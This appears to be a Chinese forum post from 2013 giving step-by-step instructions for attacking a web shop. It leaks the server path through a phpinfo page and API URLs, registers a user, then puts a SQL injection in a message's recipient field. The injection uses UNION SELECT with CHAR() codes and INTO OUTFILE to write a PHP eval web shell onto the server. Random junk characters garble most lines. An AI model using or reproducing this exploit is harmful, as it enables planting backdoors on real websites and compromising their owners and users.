第一个：想办法找到目标网站的绝对路径
& l! g5 X& }+ @" l6 k, D7 V$ z( ]) n5 ^& m- H
http://www.political-security.com/install/svinfo.php?phpinfo=true
4 i8 y' I' S4 r3 L7 ^. C4 q- e# _0 c; L& D C6 x
http:/www.political-security.com/core/api/shop_api.php1 g0 K; {& L+ ]! A8 @3 r S
4 @& }/ y5 S, b
http://www.political-security.co ... api_b2b_2_0_cat.php( r, j$ o. k- ]$ H' [! t
0 N8 [) q, O! Y% l0 b! chttp://www.political-security.com/core/ap ... b_2_0_goodstype.php1 U- y! K# F* B, c
: w# ?. z/ ~4 y. g. k$ N7 Ahttp://www.political-security.co ... i_b2b_2_0_brand.php
9 g5 H2 W% N# s/ q0 o第二个：注册一个普通用户6 ?8 H0 Y+ j r7 h! d9 p v4 N; D
1 p. G: w/ c) p5 @3 z
http://www.political-security.com/?passport-signup.html- p% D3 c$ x* y0 y0 ]& V
& V8 `3 p4 x Q# A" g. O, T6 |第三个： 发送消息
1 r u9 ?( @; A+ L" c, Q2 ]/ N0 U7 Y5 O1 T: a7 I* h
http://www.political-security.com/?member-send.html
' ^1 W5 }, }% K' w/ {# R- u4 M发送给中填写
2 L) P) Z0 j. m1 d- ^antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对